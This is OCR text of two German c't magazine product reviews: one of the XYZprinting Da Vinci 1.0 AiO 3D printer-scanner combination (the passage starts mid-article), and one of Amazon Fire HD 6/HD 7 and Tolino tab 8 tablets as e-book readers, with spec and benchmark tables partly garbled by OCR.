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nehmen. Bei der XYZware be- 
schränkt sich das jedoch auf die 
Festlegung, ob ein Gittermuster 
für den besseren Halt (Raft) ge- 
druckt werden soll und Stützen 
für überhängende Teile (Sup- 
port). Außerdem kann die Druck- 
qualität, also im Wesentlichen 
die Schichtdicke, in drei Stufen 
von 0,2 bis 0,4 Millimetern fest- 
gelegt werden. Das ist alles. 

Beim Scanprogramm kann 
man lediglich die Helligkeit ein- 
stellen. Der Klick auf den Druck- 
Button öffnet das Druckerpro- 
gramm und übergibt ihm die 
Daten aus dem Scann. Statt 
gleich zu drucken, kann man den 
Scan auch in einem proprietären 
Format oder als STL-Datei ab- 
speichern, die auch von anderen 
Programmen für die 3D-Kons- 
truktion oder den Druck verar- 
beitet werden kann. 


Lichtschnitte 


Der Scanner arbeitet mit dem so- 
genannten Lichtschnittverfah- 
ren. Dabei wird das Objekt auf 
einem Drehteller platziert. Mit 
einem Laser wird ein Strich auf 
das Objekt projiziert, dessen Ver- 
formung auf der Objektober- 
fläche eine seitlich in einem be- 
stimmten Winkel von dem Laser- 
strahl angebrachte Kamera auf- 
zeichnet. Der Teller dreht sich 
dabei in kleinen Schritten weiter 
und für jeden Schritt werden die 
Daten erfasst. Mithilfe der be- 
kannten Position von Laserstrahl 
und Kamera errechnet die Soft- 
ware daraus am Ende die Form 
der Objektoberfläche. Der Da 
Vinci 1.0 führt sogar zwei ganze 
Umdrehungen durch, wobei zu- 
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erst ein Laser von schräg unten 
und bei der zweiten Umdrehung 
einer von schräg oben leuchtet. 
Ein vollständiger Scandurchgang 
dauert unabhängig von der Vor- 
lage etwa fünf Minuten. 

Wie gut ein Scan gelingt, 
hängt verfahrensbedingt unter 
anderem von der Oberflächen- 
beschaffenheit der Vorlage ab. 
Ist sie zu dunkel, kann die Kame- 
ra die rote Linie des Lasers auf 
der Oberfläche nicht richtig er- 
kennen, weil zu wenig davon re- 
flektiert wird. Aufgrund der La- 
serfarbe Rot sind Komplemen- 
tärfarben wie Grün oder Blau be- 
sonders schlecht geeignet, weil 
sie Rot schlucken, aber auch 
graue oder schwarze Oberflä- 
chen lassen sich nicht scannen. 
Rot selbst ist aber genauso töd- 
lich, weil die Kamera dann kei- 
nen Unterschied zwischen Linie 
und Oberfläche mehr sieht. Das- 
selbe gilt für transparente oder 
zu stark reflektierende Oberflä- 
chen, etwa Edelstahl. Hier irritie- 
ren die entstehenden Lichtrefle- 
xe die Kamera, sodass die Tiefen- 
daten des Objekts nicht korrekt 
erfasst werden können. 

Wirklich geeignet sind eigent- 
lich nur Objekte mit mattweißer 
Oberfläche, die man in der Praxis 
aber eher selten antrifft. Man 
kann sich jedoch mit Kreidespray 
behelfen, das aus dem Fußball 
bekannt ist und sich anschlie- 
ßend wieder abwaschen lässt. 

Versuche mit einer weißen 
Eule aus einem anderen 3D-Dru- 
cker brachten jedenfalls ganz an- 
sehnliche Resultate, auch wenn 
einige Details verschwanden und 
an manchen Stellen Fehler auf- 
traten, unter anderem Punkt- 
wölkchen außerhalb des Objekts. 
Auch beim besten uns gelungen 
Scan wäre deshalb noch eine 
Nachbearbeitung zu empfehlen, 
für die man eigene Programme 
benötigt, weil die Scannersoftware 
keine Möglichkeit dazu bietet. In 
Betracht kommt stattdessen das 
in der Basisversion kostenlose 
Netfabb (siehe c’t-Link am Ende). 

Das Druckwerk des Da Vinci ist 
aus dem gleichnamigen Drucker 
bekannt, den wir bereits [1] ge- 
testet haben. Ein paar dort be- 
mängelte Dinge wurden inzwi- 
schen behoben. So lag unserem 
Testgerät nun ein Spachtel aus 
Metall statt Plastik zum Ablösen 
der Drucke bei. 

Ansonsten bleibt der Drucker 
Mittelmaß sowohl hinsichtlich 
Genauigkeit als auch Qualität. 
Ein Würfel mit einem Zentimeter 
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Kantenlänge war bei höchster 
Druckqualität in allen Richtun- 
gen zwischen 0,05 und 0,19 Mil- 
limeter zu klein. Das c't-Logo 
dauert etwa 30 Minuten, wovon 
allein 10 Minuten fürs Aufheizen 
des Druckbettes von Zimmer- 
temperatur auf 90 Grad Celsius 
draufgehen, die für das verwen- 
dete ABS-Material vonnöten 
sind. Theoretisch verarbeitet der 
Da Vinci auch PLA-Filament, für 
das niedrigere Temperaturen er- 
forderlich sind. Die deutschen 
Distributoren haben solches 
aber derzeit nicht im Angebot 
und Alternativen kommen hier 
nicht recht in Betracht. Denn die 
Da-Vinci-Drucker müssen mit 
Druckkassetten bestückt wer- 
den, die der Hersteller mit einem 
Füllstandchip verdongelt hat. 
Die handelsüblichen Filament- 
rollen kann man beim Da Vinci 
deshalb nicht verwenden. 

So wundert es auch nicht, 
dass der Preis für das Filament 
hier relativ hoch ausfällt. Eine 
Kassette mit 600 Gramm ABS 
kostet 35 Euro, das Kilogramm 
also etwa 58 Euro. Üblich sind 
Preise von um die 30 Euro fürs 
Kilogramm PLA oder ABS. Das 
c't-Logo wiegt knapp 5 Gramm, 
kostet mit dem Da Vinci dem- 
nach etwa 30 Cent. 

Die Geräuschentwicklung ist 
beim Scannen mit 2,6 Sone er- 
träglich, beim Drucken mit 5,8 
Sonne und Spitzenpegeln von 
um die 67 dB(A) Schalldruck aber 
schon recht unangenehm. 
Schwerer wiegt indessen, dass 
unser Testgerät mitunter um die 
30 Watt elektrischer Leistung be- 
anspruchte, obwohl es nichts zu 
tun hatte und sein Energiespar- 
modus aktiviert war. Nach einem 
Scan blieb der Z-Motor unter 
Strom und einer der Lüfter blies 
stets leise vor sich hin, sodass 
der Drucker im Minimum noch 
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11 Watt beanspruchte. Daran än- 
dert sich auch nach mehreren 
Stunden Uhntätigkeit nichts. 
Schaltet man den Drucker über 
seinen Kippschalter direkt neben 
dem Stromanschluss aus, ver- 
braucht er immer noch ein Watt. 


Fazit 


Die Kombination von 3D-Drucker 
und -Scanner in einem Gehäuse 
beim Da Vinci 1.0 AiO ist interes- 
sant, der Preis von 800 Euro ein 
Schnäppchen. Das allein macht 
aber niemanden glücklich, was 
also fängt man mit dem 800- 
Euro-Schnäppchen an? Der Dru- 
cker ist brauchbar, es gibt ihn al- 
lein für 600 Euro. Billiger geht es 
nur mit Bausätzen. Die Qualität 
der Scans genügt jedoch besten- 
falls für die Reproduktion von 
Nippesfiguren. Ein Ersatzteil für 
ein kaputtes Haushaltsgerät oder 
andere Teile, bei denen es auf 
eine gewisse Exaktheit ankommt, 
bekommt man mit solchen Gerä- 


Da Vinci 1.0 AiO 


Die 3D-Scans werden mit Hilfe 
des Lichtschnittverfahrens 
erzeugt. Die weiße Eule aus 
einem anderen 3D-Drucker 
erwies sich wegen ihrer 
Oberfläche als geeignetes 
Testobjekt, Gegenstände mit 
dunklen oder glänzenden 
Oberflächen kann der Scanner 
kaum erfassen. 


ten beim derzeitigen Stand der 
Technik nicht reproduziert. Der- 
artiges muss man weiterhin mit 
3D-Zeichenprogramm und Mess- 
schieber am PC konstruieren, um 
es auf dem 3D-Drucker ausgeben 
zu können. 3D-Scans sind dabei 
als Vorlage weniger geeignet, 
2D-Scans oder Fotos lassen sich 
dagegen importieren und als 
Vorlage nutzen. Und dafür 
wünscht man sich dann auch 
eine Drucker-Software, die diver- 
se Einstellungen erlaubt, bei- 
spielsweise das Drucken ohne 
Füllung oder mit einem be- 
stimmten Füllmuster. Das kann 
die mitgelieferte Software aber 
nicht - und eine andere kann 
man nicht benutzen. (tig) 


Literatur 


[1] Phillip Steffan, Kubisch, praktisch, 
gut, Vier 3D-Drucker unter 700 
Euro, c't 15/14, S. 126 

[2] Peter König, Im Visier der Laser, 
Desktop-3D-Scanner für handli- 
che Objekte, c't 11/14, 5.144 

[3] Tim Gerber, Schichtarbeit, 3D- 
Drucker richtig konfigurieren, 
c't 8/14, 5.156 


dE Software-Download: 
ct.de/yqyy 


3D-Scanner/Drucker-Kombinationsgerät 
Hersteller 

Distributoren 

Abmessungen (BXHXT) 

maximale Modellgröße 

Rohmaterial 

Durchmesser Druckdüse 

Software 

unterstützte Betriebssysteme 
Standard-Schichtdicken 

beheiztes Druckbett/Druck über USB/SD-Karte 
Testergebnisse 

Druckdauer c't-Logo/Aufheizzeit 

Geräusch Druck/Scan 

Leistungsaufnahme Druck /Scan/Stand-by/Aus 
Bewertung 

Druckqualität/Scanqualität 

Materialpreis pro kg 

Gerätepreis 
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xyzPrinting, xyzprinting.com 

Omtec, omtec-3d.de; iGo3D, igo3d.com 

47 cmx51cmx 56cm 

20 cm x 20cm x 20 cm 

ABS (oder PLA), 1,75 mm 

0,4mm 

XYZware (Druck), XYZScan 

Windows ab XP, Mac 0S X ab 10.8 (nur drucken) 
0,1 mm, 0,2mm, 0,3 mm, 0,4mm 

vWI- 


29 min /9 min 
51 dB(A); 5,8 Sone / 39 db(A); 2,3 Sone 
207 W/29W/11W/1W 


oO/O 
58 € (proprietär) 
800 € 
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Prüfstand | Android-Tablets 


Alexander Spier 


DieE- Book-Tablets 


Android-Tablets ab 100 Euro von Amazon und Tolino 


Tablets sind der natürliche Feind des E-Book-Readers. Denn die Multitalente 
können mehr, haben Farbdisplays und kosten inzwischen das Gleiche oder 
weniger. Braucht man für Bücher also wirklich einen E-Book-Reader oder eignet 
sich ein Tablet nicht viel eher für die Bettlektüre? 


D: Verlangen nach flexible- 
ren Geräten spüren auch die 
beiden größten E-Book-Händler 
in Deutschland. Amazon und die 
Tolino-Allianz bieten inzwischen 
Tablet-Modelle auf Basis von An- 
droid an, die mit ungewöhn- 
lichen Details aus der Masse 
herausstechen. So verpasst Toli- 
no dem tab 8 eine zusätzliche 
Starttaste für die E-Book-App 
und imitiert damit die Bedienung 
der eigenen E-Book-Reader. 
Schneller kommt man bei kei- 
nem anderen Tablet an seine Bü- 
cher. Das 180 Euro teure tab 8 ist 
unter Federführung der Telekom 
entstanden, die zusammen mit 
einer Reihe von Buchhändlern 
die Tolino-Allianz bildet. Herge- 
stellt wird es von der deutschen 
Firma Trekstor, die bereits Erfah- 
rung im Tablet-Geschäft hat. 
Amazon bietet zusätzlich zum 
Fire HD 7 mit 7-Zoll-Display nun 
auch das HD 6 mit einem für 
Tablets ungewöhnlich kleinen 6- 
Zoll-Bildschirm für 100 Euro an. 
Diese Größe verwenden auch 
viele aktuelle E-Reader, was das 
HD 6 umso mehr zu einem direk- 
ten Konkurrenten macht. Drin 
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steckt die gleiche Technik wie im 
HD 7. Den traditionellen Beina- 
men Kindle hat Amazon in der 
aktuellen Tablet-Generation üb- 
rigens gestrichen und grenzt sie 
damit stärker vom klassischen 
Kindle-E-Reader ab. 


Lesen auf dem Tablet 


Das Grundproblem der kürzeren 
Akkulaufzeit können alle drei 
Kandidaten nicht ausmerzen. Be- 
sonders tagsüber, wenn E-Ink- 
Displays ohne Beleuchtung wun- 
derbar funktionieren, geraten 
die Tablets bei der Laufzeit und 
Lesbarkeit deutlich ins Hinter- 
treffen [1]. Doch auch mit Be- 
leuchtung ist der Abstand noch 
groß. Langes Lesen ist mit einem 
E-Book-Reader wegen des gerin- 
gen Gewichts ein bisschen be- 
quemer, störend schwer sind die 
kleinen Tablets aber nicht mehr. 

Nur eine Frage des Preises ist 
die Displayschärfe. An den Kind- 
le Voyage mit seinen 300 dpi 
kommen die hier getesteten 
Tablets nicht ganz heran. An- 
sonsten nehmen sich E-Book- 
Reader und Tablets in dieser Hin- 


sicht mittlerweile wenig, über 
200 dpi sollten es bei beiden 
sein. Gute Android-Tablets mit 
über 300 dpi gibt es ab etwas 
über 200 Euro, Ausnahme ist das 
Kindle HDX 7, das Amazon schon 
ab 160 Euro anbietet. Sobald 
mehr als nur reiner Text ange- 
zeigt werden soll, sind die E-Ink- 
Displays der Reader klar im 
Nachteil. 

Leicht zu beheben wäre der 
Rückstand der Tablets bei der 
Software. Sowohl Amazon als 
auch Tolino spendieren ihren 
Lese-Apps nicht alle Zusatz- 
funktionen der E-Book-Reader. 
Der Kindle-App fehlen Zugaben 
wie die Word-Wise-Funktion, 
die automatisch Übersetzungen 
und Worterklärungen einblen- 
det. Beim Tolino fehlen einige 
Layout-Optionen. Suchfunktion, 
Markierungen und per Cloud 
synchronisierte Notizen bringen 
beide aber mit. Zum einfachen 
Lesen langen die Tablets alle- 
mal, direkt einkaufen kann man 
auf beiden Gerätetypen eben- 
falls. Tolino ist aber generell of- 
fener für Nachschub aus ande- 
ren Quellen. 
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Amazon Fire HD 6 
und HD7 


Das schärfste Argument für die 
beiden Amazon Fire HD ist der 
Preis. Knapp 100 Euro will Ama- 
zon für das HD 6, 120 Euro für 
das HD 7. Dafür muss der Käufer 
Werbung auf dem Sperrbild- 
schirm hinnehmen, von Amazon 
„Spezialangebote“ getauft. Wer 
die nicht sehen will, muss 
15 Euro mehr ausgeben. Nach- 
träglich entfernen lässt sich das 
nur über den Amazon-Support 
gegen Bezahlung. 

Für sein Geld bekommt man 
alltagstaugliche Technik. Die Dis- 
plays der beiden Geräte haben 
1280 x 800 Pixel, was zum 
entspannten Lesen geeignete 
216 dpi (HD 7) und 251 dpi 
(HD 6) ergibt. Auch kleine Schrift 
in DIN-A4-Dokumenten bleibt 
ohne Zoomen entzifferbar. Beide 
liefern gute Schwarzwerte und 
Kontraste, Farben sehen dage- 
gen insgesamt etwas blass aus. 
Das Displayglas spiegelt stark 
und zieht Fingerabdrücke an. 
Durch die sehr helle Hinter- 
grundbeleuchtung bleibt der 
Bildschirm im Sonnenlicht ables- 
bar. Man muss dafür aber selber 
zum Helligkeitsregler greifen, ein 
Sensor fehlt. 

In den Fire HD steckt ein unge- 
wöhnlicher Prozessor, der zwar 
wie von Amazon angegeben vier 
ARM-Kerne hat, doch nur zwei 
davon erreichen die beworbenen 
1,5 GHz. Der Chip von Mediatek 
ist kein klassischer Quad-Core, 
sondern arbeitet nach dem Big- 
Little-Prinzip mit zwei unter- 
schiedlichen Kern-Paaren. Ist die 
CPU nicht voll gefordert, arbeiten 
nur die beiden langsamen, strom- 
sparenden Cortex-A7-Kerne mit 
maximal 1,2 GHz. Wird mehr Leis- 
tung benötigt, schaltet sich das 
schnellere Cortex-A15-Pärchen 
mit 1,5 GHz zu. Da beide Paare 
auch gemeinsam rechnen dür- 
fen, kann die CPU in den Bench- 
marks mit vielen klassischen 
Quad-Cores mithalten. Sie liegt 
bei mehreren parallelen Berech- 
nungen nur knapp hinter dem 
Intel Atom im Tolino-Tablet und 
kann ihn dank schnellerer Einzel- 
kerne bei einem Thread sogar 
etwas abhängen. Der Grafikteil 
reißt in den Benchmarks keine 
Bäume aus, zum ruckelfreien 
Spielen ist er aber wegen der ge- 
ringen Display-Auflösung noch 
schnell genug. 

In der Praxis reicht die Leis- 
tung, um die Oberfläche und die 
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meisten Programme geschmei- 
dig auf dem Bildschirm darzu- 
stellen. Beim Starten von Apps 
und Inhalten hakt es aber gele- 
gentlich, hin und wieder stürzte 
auch eine der Amazon-Anwen- 
dungen ab. Die Ladezeiten sind 
generell lang, wenn Daten nicht 
im Arbeitsspeicher liegen. Beim 
Beenden von speicherhungrigen 
Spielen dauert es zum Beispiel, 
bis die Benutzeroberfläche ge- 
laden ist. 

Beide Akkus halten ver- 
gleichsweise lange durch. Das 
HD 6 schafft eine Stunde mehr, 
trotz des schwächeren Akkus. 
Über 9 Stunden Videowieder- 
gabe und 10 Stunden WLAN- 
Surfen sind in der Preisklasse 
Spitzenwerte. Beim Lesen von E- 
Books mit reduzierter Helligkeit 
schaffen beide mindestens 
15 Stunden. E-Book-Reader hal- 
ten dagegen auch mit aktiver 
LED-Beleuchtung 25 bis 30 Stun- 
den durch. 


Tablet-Brocken 


Dass Googles aktuelles Smart- 
phone Nexus 6 und das Fire HD 6 
die gleiche Displaygröße haben, 
mag man selbst im direkten Ver- 
gleich nicht glauben. Breite Dis- 
playränder sorgen bei beiden 
Fire HD für üppige Gehäusemaße 
und das kantige Äußere kaschiert 
davon keinen Millimeter. Beide 
Tablets sind über 10 Millimeter 
dick und wiegen recht viel. Be- 
sonders das HD 6 ist ein echter 
Klotz im Vergleich zu E-Readern, 
die in der Regel ein Drittel weni- 
ger wiegen. Die Geräte sind 
äußerst stabil gebaut, auch bei 
grober Behandlung knarzt und 
verbiegt sich nichts am Gehäuse. 


Im direkten Vergleich zum 
Fire HD 6 (oben) und HD 7 (Mitte) 


wirkt das Tolino tab 8 trotz größerem 


Display geradezu zierlich. 


nachträglich mehr Platz nachzu- 
rüsten ist nicht drin. So greift 
man besser gleich zur 16-GByte- 
Version für faire 20 Euro mehr. 
Ein schwaches Bild geben die 
beiden Kameras ab. Beide tau- 
gen selbst für Schnappschüsse 
kaum. Die Lautsprecher unter- 
scheiden sich: Beim HD 6 ist nur 
ein leiser und dumpf klingender 
Mono-Lautsprecher vorhanden. 
Nur mit passend davor gehalte- 
ner Hand kommt etwas differen- 
zierter Klang in Richtung Zuhö- 
rer. Das HD 7 gibt über zwei 
Lautsprecher einen einigerma- 
ßen klaren Stereo-Ton aus, der 
sogar etwas Bass vermittelt und 
zum Filme schauen ausreicht. 


Fire OS 


Amazon fährt mit dem von An- 
droid abgeleiteten Fire OS ein 
auf die eigene digitale Waren- 
welt angepasstes Betriebssystem 
auf, bei denen Bücher nur eine 
von vielen Kategorien sind. Vom 
Android 4.4 unter der Fire-OS- 
Haube bekommt der Nutzer na- 
hezu nichts mit, Oberfläche und 
Benutzerführung hat Amazon 
gründlich verändert. 


funktioniert 
Fire OS, wenn man sich auf Ama- 
zon und dessen Angebote ein- 
lässt. Dann ist die Bedienung 
auch dank direkter Integration 
der Shops in die Kategorien sim- 
pel und übersichtlich. Mit einem 


Wirklich gut 


Amazon-Prime-Account sowie 
weiteren Flatrates für Bücher 
und Musik sorgen die günstigen 
Tablets für viel Unterhaltung. 
Hilfreich für Familien ist die Free- 
Time-Funktion, bei der man sehr 
genau vorgeben kann, welche 
Apps die Kinder mit ihrem eige- 
nen Account benutzen können. 
Mit der Familienbibliothek kön- 
nen zwei Erwachsene ihre ge- 
trennten Einkäufe zusammen 
auf dem Gerät verwenden und 
dem Nachwuchs zur Verfügung 
stellen. 

Sobald man darüber hinaus 
aber eigene Dokumente, Fotos 
oder Apps ohne Amazon-Anbin- 
dung nutzen will, wird es fum- 
melig und unübersichtlich. Man- 
gels Play Store und Google-Apps 
fehlen den Tablets zudem einige 
bekannte Funktionen von An- 
droid.. Amazon bemüht sich, 
diese durch eigene Angebote zu 
ersetzen, etwa mit einer eigenen 
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Karten-Anwendung. Der Ama- 
zon App-Store ist inzwischen gut 
gefüllt, trotzdem fehlen noch 
viele bekannte Anwendungen 
aus dem Google Play Store. Viele 
Apps erscheinen deutlich später 
oder bekommen nur sporadisch 
Updates. Die ein oder andere ex- 
klusive Amazon-App kann über 
das immer noch eingeschränkte 
Angebot nicht hinwegtrösten. 


Tolino tab 8 


Das Tolino tab 8 spielt auf den 
ersten Blick erkennbar in einer 
anderen Liga als die beiden 
Fire HD. Es ist schlanker, leichter 
und sieht zudem edler aus. Auf 
dem 8-Zoll-Display gibt es mehr 
Platz zum Arbeiten und Spielen; 
Bücher und Videos sehen in Full- 
HD-Auflösung gestochen scharf 
aus. Für die bessere Ausstattung 
muss man 180 Euro auf den 
Tisch legen. 

Ein ungewöhnliches Detail für 
ein Android-Tablet ist die zentra- 
le Sensor-Taste unter dem Dis- 
play. Anders als bei Samsung- 
Geräten oder dem Apple iPad 
dient sie aber nicht als Home- 
button - bedient wird Android 


Aus fünf Farben kann der Käufer Benchmarks 

wählen, darunter auch quietschi- Modell Coremark Single- Coremark Multi- Coremark Multi- GFXBench 2.7 T-Rex GFXBench 2.7 T-Rex 
es Gelb und Pink Thread Thread! Thread nach 15 Durch- HD (offscreen, 1080p) HD (Display-Aufl.) [fps] 

g B id T bl li : [Punkte] besser» [Punkte] besser» läufen? [Punkte] besser$ [fps] besser$ besser» 
„peide z n BL gut m AmazonKindleFireHD6 HMMM 5456 HE 16366 HMMM 15584 EEE 14 BE 20 

nn Han " as HD 6 lässt r AmazonKindleFireHD7 MMEEEEEEEEEEE 5455 Emm 16333 mm 13975 mm 14 2 

— he .. . r Tolinotab 8 ME 005 HEEEEEEEEE 17105 HMM 16773  HEEEEEEEEEN 13,1 m 17 

n u ne u nn en n Asus Memo Pad HD7 u 3618 10224 10215 m] 4 

rückseite gibt or u a AcerlconiaTab8A1-840FHD MmmmmmEEEEEE 5032 MM 20136 Hmmm 20125 Hmmm 13,1 17 

und die Daumen lassen sic Dell Venue 7 En 1290 m 3526 m 8473 EEE )37 EEE 33,2 


wegen der breiten Ränder ohne 
Gefahr versehentlicher Display- 
berührungen bequem parken. 
Einige Sparmaßnahmen sind 
ärgerlich: In der Grundausstat- 


Werte gemessen mit 64 Bit falls verfügbar "2 Threads pro Rechenkern ? nicht möglich mit iPad 


Laufzeiten 


Modell Video (normale Helligkeit) [h] 3D-Spiel (normale Helligkeit) [h] WLAN-Surfen (normale Helligkeit) [h] 


tung haben beide Fire HD nur = besser besserb besserb 
8 GByte internen Flash-Speicher. Amazon Kindle Fire HD 6 ME 9, ) HERE 5,6 EEE 10 
Davon sind 4,5 GByte nutzbar, Amazon Kindle Fire HD 7 EEE 5, | EEE 5,2 EEE 6,6 
den Rest belegt bereits das Sys- Tolino tab 8 EEE 6,5 U £% EEE 6,5 

tem. Das reicht für ein paar Apps Asus Memo Pad HD7 [Dj 3 7 [7 gr 

und Bücher, mit Spielen, Filmen Acer Iconia Tab8A1-840FHD m 6,7 EEE 3,5 EEE 7,2 

und Fotos wird es jedoch schnell Dell Venue 7 EEE 7,3 En 4,4 EEE 7,9 

eng. Ein Speicherkartenslot fehlt, Normale Helligkeit: 200 cd/m?, Spiel: Reckless Racing 2, Surfen: Abruf einer Standard-Webseite alle 30 s 
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Laufzeit E-Book lesen 


Modell 

Kobo Aura H20 

Tolino Vision 2 

Amazon Kindle Voyage 
Amazon Kindle Fire HD 6 
Amazon Kindle Fire HD 7 
Tolino tab 8 


Laufzeit mitLED-Beleuchtung [h] 
53,3 
29,6 
En 2 2,5 
EEE 16,1 

HE 15,1 

| U 5) 


besser» 


Gemessen mit 50 cd/m?, was einer angenehmen Beleuchtung bei Dämmerung entspricht 


wie gewohnt über die drei Bild- 
schirmtasten. Ein Druck auf die 
Sensortaste ruft ausschließlich 
die E-Book-App von Tolino auf, 
was nur klappt, wenn das Dis- 
play an und Android entsperrt 
ist. Rücksicht auf laufende Apps 
wird dabei nicht genommen: So- 
bald die bei Berührung kurz auf- 
leuchtende Taste gedrückt ist, 
hat man das Tolino-Menü vor 
Augen. Die Taste lässt sich weder 
deaktivieren noch kann man sie 
einer anderen Funktion zu- 
weisen. Versehentliche Auslöser 
passieren im Alltag jedoch recht 
selten. 

Der Bildschirm ist mit über 
280 dpi Pixeldichte gut zum 
Lesen geeignet. Auch aus der 
Nähe betrachtet fransen Buch- 
staben nicht aus, das Schriftbild 
wirkt sehr klar. Der Kontrast des 
Displays ist gut, die gezeigten 
Farben sind jedoch blass und 
insgesamt etwas kühl. Fotos und 
Videos beeindrucken auf dem 
Tolino daher weniger, seine Pa- 
radedisziplin bleibt das Lesen. 
Die Hintergrundbeleuchtung er- 
reicht eine hohe maximale Hel- 
ligkeit, sodass man das Tablet 
auch mal nach draußen nehmen 
kann. Im direkten Sonnenlicht 
spiegelt das Displayglas stark. 

Angetrieben wird das Gerät 
von einem Intel Atom mit vier 
x86-Kernen. Die haben genü- 
gend Kraft, um Apps und Ober- 
fläche ohne Ruckler auf den Bild- 
schirm zu bringen. Kurze Ausset- 
zer wie bei beiden Fire HD waren 
nicht zu beobachten, trotz ähnli- 
cher Benchmark-Werte. Der an- 
gemessen große Arbeitsspeicher 
sorgt für kurze Wartezeiten beim 
App-Wechsel. 

Nur 6,5 Stunden reicht der 
Akku beim Videoschauen und 
Surfen. Die 10 Stunden Laufzeit 
beim E-Book-Lesen mit redu- 
zierter Helligkeit sind ebenfalls 
mager, so lange halten andere 
Tablets bei deutlich hellerer Be- 
leuchtung durch. Beim Druck auf 
den Displayrand gibt es sichtba- 
re Schlieren auf dem Schirm, an- 
sonsten ist das Display unemp- 
findlich. 
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Die restliche Verarbeitung ist 
sehr gut, die griffige Rückseite 
liegt sicher in der Hand. Dank der 
dünnen Displayränder passt das 
Tablet noch in eine Hand. Mit 
knapp über 300 Gramm wird der 
Arm auch bei langer Benutzung 
des Tablets nicht schwer. Auf 
eine rückwärtige Kamera muss 
der Anwender verzichten. Die zu 
Rauschen neigende Frontkamera 
nimmt Bilder und Videos mit ma- 
ximal 1920 x 1080 Pixeln auf. 

Das tab 8 gibt es ausschließ- 
lich mit 16 GByte internem Spei- 
cher. Über einen MicroSDHC-Slot 
lässt sich Speicherplatz für eige- 
ne Dateien nachrüsten, aller- 
dings funktionieren nur Karten 
bis 32 GByte. Dass Tolino den 
längst etablierten SDXC-Stan- 
dard für Karten ab 64 GByte 
nicht unterstützt, ist ärgerlich. 

Auf dem Tolino läuft ein nahe- 
zu unverändertes Android 4.4. 
Lediglich die vorinstallierte Lese- 
App ist über eine zusätzliche 
Wischgeste und die Sensortaste 
ins System eingebunden. Dar- 
über hinaus gibt es keine weitere 
vorinstallierte Software, stattdes- 
sen wird nach dem Einrichten 
einmalig mit Benachrichtigun- 
gen für diverse Partner-Apps wie 
Evernote geworben. Außer den 
Google-Angeboten steht auch 
ein E-Book-Shop direkt in der To- 
lino-App zur Verfügung, aller- 
dings nur von dem Buchhändler, 
bei dem man das Tablet gekauft 
hat. Wenn man sich einen Ac- 
count einrichtet, kann man die- 
sen auch mit den Zugängen zu 
anderen Tolino-Mitgliedern ver- 
knüpfen und die dort gekauften 
Bücher vom Server nachladen. 
Einkaufen im fremden Store ist 
so aber nicht möglich, dazu 
muss man den Browser oder 
eine weitere App aus dem Play 
Store bemühen. 


Fazit 


Noch machen Tablets den E- 
Book-Reader nicht überflüssig, 
denn die Nachteile der Multi- 
Talente gegenüber den Lese- 
Spezialisten bei Gewicht, Lauf- 


zeit und Lesbarkeit im Sonnen- 
licht kann auch keines der getes- 
teten Geräte ausräumen. Ob 
man lieber Tablet, Reader oder 
beides zur Hand nimmt, hängt 
vorwiegend von den eigenen 
Konsumgewohnheiten ab. Doch 
wer nicht das letzte Quäntchen 
Komfort beim Lesen braucht, ist 
selbst mit einem günstigen Tab- 
let mittlerweile gut bedient. 

Amazon beweist mit dem Fire 
HD 6 ein gutes Händchen, denn 
für die meisten Tablet-Aufgaben 
ist das 100-Euro-Gerät gut gerüs- 
tet. Die schlechte Erweiterbarkeit 
schränkt jedoch den Nutzen 
außerhalb des Amazon-Univer- 
sumsein. 

Das Tolino tab 8 ist in vielen 
Belangen hochwertiger als die 


Tablets 

Modell Fire HD 6 

Hersteller Amazon, 
www.amazon.de 

Betriebssystem / FireOS 4.5.2 / Fire Ul 

Bedienoberfläche 

Ausstattung 

Prozessor /Kerne/Takt Mediatek MT8135 / 
2+2/1,5GHz 

Grafik PowerVR G6200 

RAM /Flash-Speicher 1GByte /8 GByte 

(frei) (4,5 GByte) 


Wechselspeicher / = 
mitgeliefert / maximal 
WLAN / Dual-Band / 
alle 5-GHz-Bänder 


IEEE 802.11 b/g/n-150 / 
= 


Bluetooth/NFC/GPS 40/-/- 

mobile - 

Datenverbindung 

Akku / austauschbar/ 3400 mAh (12,6 Wh) / - / 
drahtlos ladbar - 

Abmessungen 16,8 cm x 10,2 cmx 
(HXBXT) 1,06 cm 

Gewicht 292g 

Kamera-Auflösung 1920 x 1088 (2,1 MPixel) / 
Fotos / Video 1920 x 1080 

Auto- / Touchfokus / vivI= 

Fotoleuchte (Anzahl) 

Frontkamera-Auflösung 640 x 480 / 

Fotos / Video 640 x 480 
Display-Messungen 

Technik / Größe LCD (IPS) / 

(Diagonale) 8,1cmx13cm(6") 
Auflösung / 800 x 1280 Pixel 
Seitenverhältnis (251 dpi) / 16:10 


Helligkeitsregelbereich/ 15... 391 cd/m? / 


Ausleuchtung 86% 

Bewertung 

Bedienung / ®/o 

Performance 

Ausstattung Software/ O/O 

Hardware 

Display / Laufzeit o/® 

Varianten, Preise und Garantie 

Garantie 1 Jahr 

Varianten 16 GByte (120 €), 
ohne Werbung 
(15 € Aufpreis) 


Fire HD, kann aber nicht völlig 
überzeugen. Die Laufzeiten sind 
zu kurz und die Shop-Integration 
umständlich. Die zusätzliche 
Sensortaste erleichtert haupt- 
sächlich Umsteigern vom Tolino- 
Reader das Leben, bringt aber 
kaum mehr Komfort. Dank des 
scharfen Displays und des aus- 
reichend schnellen Prozessors 
macht es als Allrounder eine 
gute Figur. Eine schlechte Wahl 
ist das Tolino daher nicht, zumal 
leichte und schlanke 8-Zoll-Tab- 
lets mit scharfem Display unter 
200 Euro bislang rarsind. (asp) 


Literatur 


[1] Achim Barczok, Die neuen Rea- 
der, E-Book-Reader ab 60 Euro im 
Test, c't 25/14, 5.98 


Fire HD 7 Tolino tab 8 

Amazon, Trekstor, 
www.amazon.de www.tolino.de 

FireOS 4.5.2 / Fire Ul Android 4.4.4 / Android 
Mediatek MT8135 / Intel Atom 23735F / 
2+2/1,5GHz 4/1,83 GHz 

PowerVR 66200 Intel HD Graphics 

1 GByte /8 GByte 2 GByte / 16 GByte 

(4,5 GByte) (10,1 GByte) 

- v 1 132 GByte 

IEEE 802.11 b/g/n-150/ IEEE 802.11 b/g/n-150 / 
-/- viv 

40/-/- 40/-/- 


3500 mAh (13 Wh) / - / 


4100 mAh (15,6 Wh) / = / 


19,1 cm x 12,8 cm x 21,5 mx 12,4cmx 


1,05 cm 0,82 cm 

336g 307g 

1920 x 1088 (2,1MPixel)/ - 

1920 x 1080 

vivI= a 

640 x 480 / 1920 x 1080 / 
640 x 480 1920 x 1080 

LCD (IPS) / LCD (IPS) / 
9,4cmx 15,1cm (7") 10,8 cm x 17,2. cm (8") 
800 x 1280 Pixel 1200 x 1920 Pixel 
